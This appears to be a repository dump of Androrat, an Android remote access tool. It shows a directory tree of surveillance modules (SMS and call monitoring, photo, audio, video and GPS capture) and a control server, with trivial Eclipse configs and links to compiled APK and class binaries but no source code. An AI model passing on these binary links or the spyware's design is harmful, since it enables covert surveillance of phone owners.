├── Experiment
├── AndroratActivity
│ ├── .classpath
│ ├── .directory
│ ├── .project
│ ├── .settings
│ │ └── org.eclipse.jdt.core.prefs
│ ├── AndroidManifest.xml
│ ├── bin
│ │ ├── ActivityAndrorat.apk
│ │ ├── Androrat.apk
│ │ ├── classes.dex
│ │ ├── classes
│ │ │ ├── Packet
│ │ │ │ ├── AdvancedInformationPacket.class
│ │ │ │ ├── CallLogPacket.class
│ │ │ │ ├── CallPacket.class
│ │ │ │ ├── CallStatusPacket.class
│ │ │ │ ├── CommandPacket.class
│ │ │ │ ├── ContactsPacket.class
│ │ │ │ ├── FilePacket.class
│ │ │ │ ├── FileTreePacket.class
│ │ │ │ ├── GPSPacket.class
│ │ │ │ ├── LogPacket.class
│ │ │ │ ├── Packet.class
│ │ │ │ ├── PreferencePacket.class
│ │ │ │ ├── RawPacket.class
│ │ │ │ ├── SMSPacket.class
│ │ │ │ ├── SMSTreePacket.class
│ │ │ │ ├── ShortSMSPacket.class
│ │ │ │ └── TransportPacket.class
│ │ │ ├── in
│ │ │ │ ├── Demux.class
│ │ │ │ └── Receiver.class
│ │ │ ├── inout
│ │ │ │ ├── Controler.class
│ │ │ │ └── Protocol.class
│ │ │ ├── my
│ │ │ │ └── app
│ │ │ │ │ ├── Library
│ │ │ │ │ ├── AdvancedSystemInfo$1.class
│ │ │ │ │ ├── AdvancedSystemInfo.class
│ │ │ │ │ ├── AudioStreamer$1.class
│ │ │ │ │ ├── AudioStreamer.class
│ │ │ │ │ ├── CallLogLister.class
│ │ │ │ │ ├── CallMonitor$1.class
│ │ │ │ │ ├── CallMonitor.class
│ │ │ │ │ ├── ContactsLister.class
│ │ │ │ │ ├── DirLister.class
│ │ │ │ │ ├── FileDownloader$1.class
│ │ │ │ │ ├── FileDownloader.class
│ │ │ │ │ ├── GPSListener.class
│ │ │ │ │ ├── PhotoTaker$1.class
│ │ │ │ │ ├── PhotoTaker.class
│ │ │ │ │ ├── SMSLister.class
│ │ │ │ │ ├── SMSMonitor$1.class
│ │ │ │ │ ├── SMSMonitor.class
│ │ │ │ │ ├── SystemInfo.class
│ │ │ │ │ ├── VideoStreaming$1.class
│ │ │ │ │ └── VideoStreaming.class
│ │ │ │ │ └── activityclient
│ │ │ │ │ ├── BuildConfig.class
│ │ │ │ │ ├── ClientListener.class
│ │ │ │ │ ├── LauncherActivity$1.class
│ │ │ │ │ ├── LauncherActivity$2.class
│ │ │ │ │ ├── LauncherActivity$3.class
│ │ │ │ │ ├── LauncherActivity$ByteArrayFinder.class
│ │ │ │ │ ├── LauncherActivity.class
│ │ │ │ │ ├── ProcessCommand.class
│ │ │ │ │ ├── R$attr.class
│ │ │ │ │ ├── R$drawable.class
│ │ │ │ │ ├── R$id.class
│ │ │ │ │ ├── R$layout.class
│ │ │ │ │ ├── R$string.class
│ │ │ │ │ ├── R$xml.class
│ │ │ │ │ └── R.class
│ │ │ ├── out
│ │ │ │ ├── Connection.class
│ │ │ │ ├── Mux.class
│ │ │ │ └── Sender.class
│ │ │ └── utils
│ │ │ │ ├── Contact.class
│ │ │ │ ├── EncoderHelper.class
│ │ │ │ ├── MyFile.class
│ │ │ │ └── wavIO.class
│ │ ├── jarlist.cache
│ │ ├── res
│ │ │ ├── drawable-hdpi
│ │ │ │ └── ic_launcher.png
│ │ │ ├── drawable-ldpi
│ │ │ │ └── ic_launcher.png
│ │ │ ├── drawable-mdpi
│ │ │ │ └── ic_launcher.png
│ │ │ └── drawable-xhdpi
│ │ │ │ └── ic_launcher.png
│ │ └── resources.ap_
│ ├── gen
│ │ └── my
│ │ │ └── app
│ │ │ └── activityclient
│ │ │ ├── BuildConfig.java
│ │ │ └── R.java
│ ├── proguard-project.txt
│ ├── project.properties
│ ├── res
│ │ ├── drawable-hdpi
│ │ │ └── ic_launcher.png
│ │ ├── drawable-ldpi
│ │ │ └── ic_launcher.png
│ │ ├── drawable-mdpi
│ │ │ └── ic_launcher.png
│ │ ├── drawable-xhdpi
│ │ │ └── ic_launcher.png
│ │ ├── layout
│ │ │ └── main.xml
│ │ ├── values
│ │ │ └── strings.xml
│ │ └── xml
│ │ │ └── preferences.xml
│ └── src
│ │ └── my
│ │ └── app
│ │ ├── Library
│ │ ├── AdvancedSystemInfo.java
│ │ ├── AudioStreamer.java
│ │ ├── CallLogLister.java
│ │ ├── CallMonitor.java
│ │ ├── ContactsLister.java
│ │ ├── DirLister.java
│ │ ├── FileDownloader.java
│ │ ├── GPSListener.java
│ │ ├── PhotoTaker.java
│ │ ├── SMSLister.java
│ │ ├── SMSMonitor.java
│ │ ├── SystemInfo.java
│ │ └── VideoStreaming.java
│ │ └── activityclient
│ │ ├── ClientListener.java
│ │ ├── LauncherActivity.java
│ │ └── ProcessCommand.java
└── InOut
│ ├── Packet
│ ├── AdvancedInformationPacket.java
│ ├── CallLogPacket.java
│ ├── CallPacket.java
│ ├── CallStatusPacket.java
│ ├── CommandPacket.java
│ ├── ContactsPacket.java
│ ├── FilePacket.java
│ ├── FileTreePacket.java
│ ├── GPSPacket.java
│ ├── LogPacket.java
│ ├── Packet.java
│ ├── PreferencePacket.java
│ ├── RawPacket.java
│ ├── SMSPacket.java
│ ├── SMSTreePacket.java
│ ├── ShortSMSPacket.java
│ └── TransportPacket.java
│ ├── in
│ ├── Demux.java
│ └── Receiver.java
│ ├── inout
│ ├── Controler.java
│ └── Protocol.java
│ ├── out
│ ├── Connection.java
│ ├── Mux.java
│ └── Sender.java
│ └── utils
│ ├── Contact.java
│ ├── EncoderHelper.java
│ ├── MyFile.java
│ └── wavIO.java
├── README.md
├── doc
├── contact.png
├── gps.png
├── homepanel.png
└── main.png
└── src
├── Androrat
├── .classpath
├── .project
├── .settings
│ └── org.eclipse.jdt.core.prefs
├── AndroidManifest.xml
├── gen
│ └── my
│ │ └── app
│ │ └── client
│ │ ├── BuildConfig.java
│ │ └── R.java
├── proguard-project.txt
├── project.properties
├── res
│ ├── drawable-hdpi
│ │ └── ic_launcher.png
│ ├── drawable-ldpi
│ │ └── ic_launcher.png
│ ├── drawable-mdpi
│ │ └── ic_launcher.png
│ ├── drawable-xhdpi
│ │ └── ic_launcher.png
│ ├── layout
│ │ └── main.xml
│ ├── values
│ │ └── strings.xml
│ └── xml
│ │ └── preferences.xml
└── src
│ └── my
│ └── app
│ ├── Library
│ ├── AdvancedSystemInfo.java
│ ├── AudioStreamer.java
│ ├── CallLogLister.java
│ ├── CallMonitor.java
│ ├── ContactsLister.java
│ ├── DirLister.java
│ ├── FileDownloader.java
│ ├── GPSListener.java
│ ├── PhotoTaker.java
│ ├── SMSLister.java
│ ├── SMSMonitor.java
│ └── SystemInfo.java
│ └── client
│ ├── AlarmListener.java
│ ├── AndroratActivity.java
│ ├── BootReceiver.java
│ ├── Client.java
│ ├── ClientListener.java
│ ├── LauncherActivity.java
│ ├── Preference.java
│ └── ProcessCommand.java
├── AndroratServer
├── .classpath
├── .project
├── .settings
│ └── org.eclipse.jdt.ui.prefs
└── src
│ ├── gui
│ ├── AdvContactGUI.java
│ ├── GUI.java
│ ├── SMSDialog.java
│ ├── User.java
│ ├── UserGUI.java
│ ├── UserModel.java
│ ├── panel
│ │ ├── CallLogPanel.java
│ │ ├── ColorPane.java
│ │ ├── ContactPanel.java
│ │ ├── FileTreePanel.java
│ │ ├── HomePanel.java
│ │ ├── MapPanel.java
│ │ ├── MonitorPanel.java
│ │ ├── PicturePanel.java
│ │ ├── SMSLogPanel.java
│ │ ├── SoundPanel.java
│ │ └── VideoPanel.java
│ └── res
│ │ ├── .directory
│ │ ├── Drapeau
│ │ ├── .directory
│ │ ├── AD.png
│ │ ├── AE.png
│ │ ├── AF.png
│ │ ├── AG.png
│ │ ├── AI.png
│ │ ├── AL.png
│ │ ├── AM.png
│ │ ├── AO.png
│ │ ├── AQ.png
│ │ ├── AR.png
│ │ ├── AS.png
│ │ ├── AT.png
│ │ ├── AU.png
│ │ ├── AW.png
│ │ ├── AZ.png
│ │ ├── Algeria.png
│ │ ├── BA.png
│ │ ├── BB.png
│ │ ├── BD.png
│ │ ├── BE.png
│ │ ├── BF.png
│ │ ├── BG.png
│ │ ├── BH.png
│ │ ├── BI.png
│ │ ├── BJ.png
│ │ ├── BM.png
│ │ ├── BN.png
│ │ ├── BO.png
│ │ ├── BR.png
│ │ ├── BS.png
│ │ ├── BT.png
│ │ ├── BW.png
│ │ ├── BY.png
│ │ ├── BZ.png
│ │ ├── CA.png
│ │ ├── CD.png
│ │ ├── CF.png
│ │ ├── CG.png
│ │ ├── CH.png
│ │ ├── CI.png
│ │ ├── CIS.png
│ │ ├── CK.png
│ │ ├── CL.png
│ │ ├── CM.png
│ │ ├── CN.png
│ │ ├── CO.png
│ │ ├── CR.png
│ │ ├── CU.png
│ │ ├── CV.png
│ │ ├── CY.png
│ │ ├── CZ.png
│ │ ├── DE.png
│ │ ├── DJ.png
│ │ ├── DK.png
│ │ ├── DM.png
│ │ ├── DO.png
│ │ ├── DZ.png
│ │ ├── EC.png
│ │ ├── EE.png
│ │ ├── EG.png
│ │ ├── EH.png
│ │ ├── ER.png
│ │ ├── ES.png
│ │ ├── ET.png
│ │ ├── EU.png
│ │ ├── FI.png
│ │ ├── FJ.png
│ │ ├── FM.png
│ │ ├── FO.png
│ │ ├── FR.png
│ │ ├── Fiji.png
│ │ ├── GA.png
│ │ ├── GB.png
│ │ ├── GD.png
│ │ ├── GE.png
│ │ ├── GH.png
│ │ ├── GI.png
│ │ ├── GM.png
│ │ ├── GN.png
│ │ ├── GQ.png
│ │ ├── GR.png
│ │ ├── GT.png
│ │ ├── GU.png
│ │ ├── GW.png
│ │ ├── GY.png
│ │ ├── HK.png
│ │ ├── HN.png
│ │ ├── HR.png
│ │ ├── HT.png
│ │ ├── HU.png
│ │ ├── ID.png
│ │ ├── IE.png
│ │ ├── IL.png
│ │ ├── IN.png
│ │ ├── IQ.png
│ │ ├── IR.png
│ │ ├── IS.png
│ │ ├── IT.png
│ │ ├── JE.png
│ │ ├── JM.png
│ │ ├── JO.png
│ │ ├── Japan.png
│ │ ├── KE.png
│ │ ├── KG.png
│ │ ├── KH.png
│ │ ├── KI.png
│ │ ├── KM.png
│ │ ├── KN.png
│ │ ├── KP.png
│ │ ├── KR.png
│ │ ├── KW.png
│ │ ├── KY.png
│ │ ├── KZ.png
│ │ ├── LA.png
│ │ ├── LB.png
│ │ ├── LC.png
│ │ ├── LI.png
│ │ ├── LK.png
│ │ ├── LR.png
│ │ ├── LS.png
│ │ ├── LT.png
│ │ ├── LU.png
│ │ ├── LV.png
│ │ ├── LY.png
│ │ ├── MA.png
│ │ ├── MC.png
│ │ ├── MD.png
│ │ ├── ME.png
│ │ ├── MG.png
│ │ ├── MH.png
│ │ ├── MK.png
│ │ ├── ML.png
│ │ ├── MM.png
│ │ ├── MN.png
│ │ ├── MO.png
│ │ ├── MR.png
│ │ ├── MS.png
│ │ ├── MT.png
│ │ ├── MU.png
│ │ ├── MV.png
│ │ ├── MW.png
│ │ ├── MX.png
│ │ ├── MY.png
│ │ ├── MZ.png
│ │ ├── Moldova.png
│ │ ├── NA.png
│ │ ├── NE.png
│ │ ├── NG.png
│ │ ├── NI.png
│ │ ├── NL.png
│ │ ├── NO.png
│ │ ├── NP.png
│ │ ├── NR.png
│ │ ├── NZ.png
│ │ ├── OM.png
│ │ ├── OPEC.png
│ │ ├── PA.png
│ │ ├── PE.png
│ │ ├── PF.png
│ │ ├── PG.png
│ │ ├── PH.png
│ │ ├── PK.png
│ │ ├── PL.png
│ │ ├── PR.png
│ │ ├── PS.png
│ │ ├── PT.png
│ │ ├── PW.png
│ │ ├── PY.png
│ │ ├── QA.png
│ │ ├── RO.png
│ │ ├── RS.png
│ │ ├── RU.png
│ │ ├── RW.png
│ │ ├── Red Cross.png
│ │ ├── SA.png
│ │ ├── SB.png
│ │ ├── SC.png
│ │ ├── SD.png
│ │ ├── SE.png
│ │ ├── SG.png
│ │ ├── SI.png
│ │ ├── SK.png
│ │ ├── SL.png
│ │ ├── SM.png
│ │ ├── SN.png
│ │ ├── SO.png
│ │ ├── SR.png
│ │ ├── ST.png
│ │ ├── SV.png
│ │ ├── SY.png
│ │ ├── SZ.png
│ │ ├── TC.png
│ │ ├── TD.png
│ │ ├── TG.png
│ │ ├── TH.png
│ │ ├── TJ.png
│ │ ├── TL.png
│ │ ├── TM.png
│ │ ├── TN.png
│ │ ├── TO.png
│ │ ├── TR.png
│ │ ├── TT.png
│ │ ├── TV.png
│ │ ├── TW.png
│ │ ├── TZ.png
│ │ ├── Togo.png
│ │ ├── Tonga.png
│ │ ├── Turks and Caicos Islands.png
│ │ ├── Tuvalu.png
│ │ ├── UA.png
│ │ ├── UG.png
│ │ ├── US.png
│ │ ├── UY.png
│ │ ├── UZ.png
│ │ ├── VC.png
│ │ ├── VE.png
│ │ ├── VG.png
│ │ ├── VI.png
│ │ ├── VN.png
│ │ ├── VU.png
│ │ ├── Venezuela.png
│ │ ├── WS.png
│ │ ├── Wales.png
│ │ ├── YE.png
│ │ ├── ZA.png
│ │ ├── ZM.png
│ │ ├── ZW.png
│ │ └── default.jpeg
│ │ ├── Jesus.jpeg
│ │ ├── People.png
│ │ ├── androrat_logo_32pix.png
│ │ ├── disable-sound.png
│ │ ├── disableSound.png
│ │ ├── edit_add.png
│ │ ├── edit_remove.png
│ │ ├── enableSound.png
│ │ ├── gtk-media-pause.png
│ │ ├── gtk-media-play-ltr.png
│ │ ├── gtk-media-record.png
│ │ ├── gtk-media-stop.png
│ │ ├── note.bmp
│ │ ├── play.png
│ │ ├── sound.png
│ │ ├── stop.jpg
│ │ ├── stop.png
│ │ └── stop2.png
│ ├── handler
│ ├── AdvInfoHandler.java
│ ├── CallLogHandler.java
│ ├── CallMonitorHandler.java
│ ├── ChannelDistributionHandler.java
│ ├── ClientLogHandler.java
│ ├── CommandHandler.java
│ ├── ContactsHandler.java
│ ├── FileHandler.java
│ ├── FileTreeHandler.java
│ ├── GPSHandler.java
│ ├── PacketHandler.java
│ ├── PictureHandler.java
│ ├── PreferenceHandler.java
│ ├── SMSHandler.java
│ ├── SMSMonitorHandler.java
│ ├── SoundHandler.java
│ ├── TemporaryStorage.java
│ └── VideoHandler.java
│ └── server
│ ├── ClientHandler.java
│ └── Server.java
├── InOut
├── Packet
│ ├── AdvancedInformationPacket.java
│ ├── CallLogPacket.java
│ ├── CallPacket.java
│ ├── CallStatusPacket.java
│ ├── CommandPacket.java
│ ├── ContactsPacket.java
│ ├── FilePacket.java
│ ├── FileTreePacket.java
│ ├── GPSPacket.java
│ ├── LogPacket.java
│ ├── Packet.java
│ ├── PreferencePacket.java
│ ├── RawPacket.java
│ ├── SMSPacket.java
│ ├── SMSTreePacket.java
│ ├── ShortSMSPacket.java
│ └── TransportPacket.java
├── in
│ ├── Demux.java
│ └── Receiver.java
├── inout
│ ├── Controler.java
│ └── Protocol.java
├── out
│ ├── Connection.java
│ ├── Mux.java
│ └── Sender.java
└── utils
│ ├── Contact.java
│ ├── EncoderHelper.java
│ ├── MyFile.java
│ └── wavIO.java
└── api
├── JMapViewer.jar
├── README.txt
├── forms-1.3.0.jar
├── jna-3.4.0.jar
├── platform-3.4.0.jar
└── vlcj-2.1.0.jar
/Experiment/AndroratActivity/.classpath:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/.directory:
--------------------------------------------------------------------------------
1 | [Dolphin]
2 | Timestamp=2012,6,10,18,12,40
3 | Version=2
4 |
5 | [Settings]
6 | ShowDotFiles=true
7 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/.project:
--------------------------------------------------------------------------------
1 |
2 |
3 | ActivityAndrorat
4 |
5 |
6 |
7 |
8 |
9 | com.android.ide.eclipse.adt.ResourceManagerBuilder
10 |
11 |
12 |
13 |
14 | com.android.ide.eclipse.adt.PreCompilerBuilder
15 |
16 |
17 |
18 |
19 | org.eclipse.jdt.core.javabuilder
20 |
21 |
22 |
23 |
24 | com.android.ide.eclipse.adt.ApkBuilder
25 |
26 |
27 |
28 |
29 |
30 | com.android.ide.eclipse.adt.AndroidNature
31 | org.eclipse.jdt.core.javanature
32 |
33 |
34 |
35 | INOUT_LIBRARY
36 | 2
37 | INOUT_LIBRARY
38 |
39 |
40 |
41 |
42 | INOUT_LIBRARY
43 | $%7BPARENT-1-PROJECT_LOC%7D/InOut
44 |
45 |
46 |
47 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/.settings/org.eclipse.jdt.core.prefs:
--------------------------------------------------------------------------------
1 | eclipse.preferences.version=1
2 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5
3 | org.eclipse.jdt.core.compiler.compliance=1.5
4 | org.eclipse.jdt.core.compiler.source=1.5
5 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/ActivityAndrorat.apk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/ActivityAndrorat.apk
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/Androrat.apk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/Androrat.apk
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes.dex:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes.dex
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/AdvancedInformationPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/AdvancedInformationPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/CallLogPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/CallLogPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/CallPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/CallPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/CallStatusPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/CallStatusPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/CommandPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/CommandPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/ContactsPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/ContactsPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/FilePacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/FilePacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/FileTreePacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/FileTreePacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/GPSPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/GPSPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/LogPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/LogPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/Packet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/Packet.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/PreferencePacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/PreferencePacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/RawPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/RawPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/SMSPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/SMSPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/SMSTreePacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/SMSTreePacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/ShortSMSPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/ShortSMSPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/Packet/TransportPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/Packet/TransportPacket.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/in/Demux.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/in/Demux.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/in/Receiver.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/in/Receiver.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/inout/Controler.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/inout/Controler.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/inout/Protocol.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/inout/Protocol.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/AdvancedSystemInfo$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/AdvancedSystemInfo$1.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/AdvancedSystemInfo.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/AdvancedSystemInfo.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/AudioStreamer$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/AudioStreamer$1.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/AudioStreamer.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/AudioStreamer.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/CallLogLister.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/CallLogLister.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/CallMonitor$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/CallMonitor$1.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/CallMonitor.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/CallMonitor.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/ContactsLister.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/ContactsLister.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/DirLister.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/DirLister.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/FileDownloader$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/FileDownloader$1.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/FileDownloader.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/FileDownloader.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/GPSListener.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/GPSListener.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/PhotoTaker$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/PhotoTaker$1.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/PhotoTaker.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/PhotoTaker.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/SMSLister.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/SMSLister.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/SMSMonitor$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/SMSMonitor$1.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/SMSMonitor.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/SMSMonitor.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/SystemInfo.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/SystemInfo.class
--------------------------------------------------------------------------------
